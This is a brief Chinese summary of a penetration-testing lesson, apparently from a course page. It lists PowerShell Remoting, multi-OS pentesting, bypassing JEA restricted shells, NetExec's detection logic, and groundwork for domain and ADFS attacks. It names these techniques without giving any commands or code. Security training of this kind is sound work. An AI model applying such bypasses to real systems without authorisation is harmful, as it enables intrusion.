本次课程深入探讨了 PS Remoting 的复杂性、多操作系统环境下的渗透测试实践、JEA 受限 Shell 的原理与绕过,以及对 NetExec 工具判断逻辑的深度分析,为后续更复杂的域渗透和 ADFS 攻击奠定了坚实基础。
-.-
评论区